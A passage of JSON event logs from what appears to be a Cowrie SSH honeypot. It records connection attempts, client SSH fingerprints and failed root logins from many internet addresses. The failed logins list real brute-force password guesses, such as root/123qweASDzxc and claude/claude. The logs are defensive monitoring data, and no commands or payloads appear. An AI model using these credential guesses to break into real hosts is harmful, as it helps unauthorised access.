f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:08.586107Z","src_ip":"43.153.56.192","session":"2ecdccc982ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zjc","message":"login attempt [root/zjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:08.890857Z","src_ip":"43.153.56.192","session":"2ecdccc982ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.85919952392578,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:09.233731Z","src_ip":"192.119.13.58","session":"3761e1f58869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:09.962428Z","src_ip":"43.153.56.192","session":"2ecdccc982ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":49344,"dst_ip":"10.17.0.5","dst_port":22,"session":"e976d97d0f09","protocol":"ssh","message":"New connection: 43.128.112.183:49344 (10.17.0.5:22) [session: e976d97d0f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:12.023591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:12.028345Z","src_ip":"43.128.112.183","session":"e976d97d0f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:12.269791Z","src_ip":"43.128.112.183","session":"e976d97d0f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":56216,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb241cf3224","protocol":"ssh","message":"New connection: 171.244.37.97:56216 (159.203.135.109:22) [session: bbb241cf3224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:12.907613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:12.912547Z","src_ip":"171.244.37.97","session":"bbb241cf3224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:13.164641Z","src_ip":"171.244.37.97","session":"bbb241cf3224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:13.252033Z","src_ip":"43.128.112.183","session":"e976d97d0f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweASDzxc","message":"login attempt [root/123qweASDzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:14.205981Z","src_ip":"171.244.37.97","session":"bbb241cf3224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:14.492946Z","src_ip":"43.128.112.183","session":"e976d97d0f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":59922,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f1df40cd250","protocol":"ssh","message":"New connection: 103.75.182.198:59922 (159.203.135.109:22) [session: 0f1df40cd250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:14.917188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:14.924007Z","src_ip":"103.75.182.198","session":"0f1df40cd250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":44532,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2f3801ba20c","protocol":"ssh","message":"New connection: 20.203.59.187:44532 (10.17.0.5:22) [session: d2f3801ba20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:14.946278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:14.954159Z","src_ip":"20.203.59.187","session":"d2f3801ba20c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:15.127170Z","src_ip":"20.203.59.187","session":"d2f3801ba20c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:15.183103Z","src_ip":"103.75.182.198","session":"0f1df40cd250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:15.460855Z","src_ip":"171.244.37.97","session":"bbb241cf3224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host@1234","message":"login attempt [root/host@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:15.831725Z","src_ip":"20.203.59.187","session":"d2f3801ba20c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rulezzz","message":"login attempt [root/rulezzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:15.910352Z","src_ip":"103.75.182.198","session":"0f1df40cd250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:17.004318Z","src_ip":"20.203.59.187","session":"d2f3801ba20c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:17.154522Z","src_ip":"103.75.182.198","session":"0f1df40cd250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":56350,"dst_ip":"10.17.0.5","dst_port":22,"session":"96725218ed58","protocol":"ssh","message":"New connection: 43.153.50.197:56350 (10.17.0.5:22) [session: 96725218ed58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:22.968951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:22.973969Z","src_ip":"43.153.50.197","session":"96725218ed58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:23.046488Z","src_ip":"43.153.50.197","session":"96725218ed58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"george","message":"login attempt [root/george] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:23.350849Z","src_ip":"43.153.50.197","session":"96725218ed58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:24.422110Z","src_ip":"43.153.50.197","session":"96725218ed58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":58228,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee327fc7cf29","protocol":"ssh","message":"New connection: 43.163.81.22:58228 (159.203.135.109:22) [session: ee327fc7cf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:37.058672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:37.063398Z","src_ip":"43.163.81.22","session":"ee327fc7cf29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:37.309358Z","src_ip":"43.163.81.22","session":"ee327fc7cf29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jj123456","message":"login attempt [root/Jj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:38.325231Z","src_ip":"43.163.81.22","session":"ee327fc7cf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:39.575185Z","src_ip":"43.163.81.22","session":"ee327fc7cf29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":47074,"dst_ip":"10.17.0.5","dst_port":22,"session":"591e57729996","protocol":"ssh","message":"New connection: 43.173.83.154:47074 (10.17.0.5:22) [session: 591e57729996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:40.738274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:40.743356Z","src_ip":"43.173.83.154","session":"591e57729996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:40.812649Z","src_ip":"43.173.83.154","session":"591e57729996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buddy","message":"login attempt [root/buddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:41.122526Z","src_ip":"43.173.83.154","session":"591e57729996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:16:42.194963Z","src_ip":"43.173.83.154","session":"591e57729996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39728,"dst_ip":"10.17.0.5","dst_port":22,"session":"464a37fe7cd7","protocol":"ssh","message":"New connection: 109.172.54.111:39728 (10.17.0.5:22) [session: 464a37fe7cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:06.356322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:06.362575Z","src_ip":"109.172.54.111","session":"464a37fe7cd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:06.466783Z","src_ip":"109.172.54.111","session":"464a37fe7cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2cde3","message":"login attempt [root/zaq1xsw2cde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:06.770386Z","src_ip":"109.172.54.111","session":"464a37fe7cd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:07.874135Z","src_ip":"109.172.54.111","session":"464a37fe7cd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":55060,"dst_ip":"10.17.0.5","dst_port":22,"session":"86af9057bd78","protocol":"ssh","message":"New connection: 43.134.1.45:55060 (10.17.0.5:22) [session: 86af9057bd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:13.528579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:13.533315Z","src_ip":"43.134.1.45","session":"86af9057bd78","protocol":"ssh"}
